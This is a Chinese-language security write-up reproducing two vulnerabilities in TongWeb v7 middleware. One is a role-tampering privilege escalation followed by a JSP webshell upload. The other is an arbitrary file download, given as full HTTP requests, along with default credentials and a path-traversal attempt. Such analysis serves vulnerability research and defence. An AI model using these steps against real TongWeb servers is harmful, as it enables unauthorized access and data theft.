应用服务器 TongWeb v7 全面支持 JavaEE7 及 JavaEE8 规范,作为关键的Java中间件,位于操作系统与应用之间,帮助企业将业务应用集成在一个基础平台上,为应用的高效、稳定、安全运行提供核心支撑。
本文将对互联网上已披露但缺乏细节的该中间件部分漏洞进行复现与深度分析。
sysweb后台文件上传漏洞
通过公开信息得知,该版本存在sysweb后台文件上传漏洞,但相关复现细节缺失。尝试访问sysweb管理界面时,发现默认账户thanos/thanos123.com无法登录,且未找到其他已知的默认凭证。
为突破权限限制,首先分析其权限校验配置。查看 \sysweb\WEB-INF\web.xml 文件:

配置显示,所有访问 /* 路径的请求均需要admin角色权限。在未能通过弱口令爆破找到有效账户后,转向分析后台的用户管理功能。
进入“安全服务”->“安全域管理”:

找到默认的thanos用户,但其userRole属性为tongweb,与sysweb所需的admin角色不匹配:

尝试创建新用户时,发现界面并未提供userRole的设置选项。此时,在创建用户的请求提交过程中拦截数据包,将原本为空的userRole参数值手动修改为admin:

放行数据包后,用户创建成功。使用新创建的admin角色账户即可成功登录sysweb后台。
获得权限后,进一步分析文件上传功能。定位到处理上传请求的FileReceiveServlet,其parseFileName()方法直接解析请求头来获取文件名,未对输入进行任何安全过滤:

据此,构造一个恶意的文件上传请求包,将木马文件(如JSP Webshell)上传至服务器:

上传成功,成功获取服务器权限:

任意文件下载漏洞
使用默认账户thanos/thanos123.com登录TongWeb控制台后台。在“快照管理”功能处发现下载选项:

点击下载时抓取数据包:

该功能会将指定文件打包为ZIP压缩包供下载。跟进分析其后台处理逻辑,首先定位到处理该请求的控制器类,其根路径为/rest/monitor/snapshots:

进一步定位到处理下载请求的具体方法,该方法接收一个名为filename的参数(对应代码中的snapshotname):

代码逻辑如下:
- 构造基础路径
Path = system.getProperty(“java.io.tmpdir”) + “/download”。
- 拼接路径
snapshotRootPath = Path + “/” + snapshotname。
- 调用
AgentUtil.receiveFileOrDir(snapshotRootPath, fileOrDir) 进行文件压缩和下载,此过程未对路径进行校验。
然而,直接修改filename参数进行路径穿越(如../../etc/passwd)会失败,因为代码随后进行了校验:

该校验确保snapshotRootPath的父目录必须是Path,从而阻止了简单的目录遍历攻击。但关键在于下载操作的实际目标路径fileOrDir,它由另一个可控参数location决定:


在请求数据包中,snapshot_location参数(对应代码location)的值是完全可控的:

因此,利用漏洞需要两步:
第一步,通过/setLocation接口将location设置为欲下载的目标目录(例如D:\\TongWeb7.42)。
POST /console/rest/monitor/snapshots/setLocation HTTP/1.1
Host: 192.168.73.130:9060
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:138.0) Gecko/20100101 Firefox/138.0
Accept: application/json, text/javascript, */*; q=0.01
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate, br
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
X-Requested-With: XMLHttpRequest
Content-Length: 36
Origin: http://192.168.73.130:9060
Connection: keep-alive
Referer: http://192.168.73.130:9060/console/rest
Cookie: console-c-4aff-9=EABC776A7845EFBDA555BAA1D078F628;DWRSESSIONID=858h23g$aEjH1iqRz1jnGBLe3rp
snapshot_location=D%3A%5CTongWeb7.42
第二步,发起下载请求,此时filename参数设置为目标目录下的具体文件或文件夹名(如conf),代码会将我们第一步设置的location与filename拼接,实现任意文件下载。这对渗透测试人员发现和利用路径穿越漏洞有重要启发。
POST /console/rest/monitor/snapshots/download HTTP/1.1
Host: 192.168.73.130:9060
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:139.0) Gecko/20100101 Firefox/139.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate, br
Content-Type: application/x-www-form-urlencoded
Content-Length: 39
Origin: http://192.168.73.130:9060
Connection: keep-alive
Referer: http://192.168.73.130:9060/console/pages/monitor/snapshot.jsp
Cookie: console-c-4aff-9=429BD65834FAD60D489BC2F36DAF93C5;DWRSESSIONID=jvSHNTT66zO2$Hjyb4sFS7vYdrp
Upgrade-Insecure-Requests: 1
Priority: u=4
filename=conf
操作成功后,即可下载到指定的配置文件或目录:

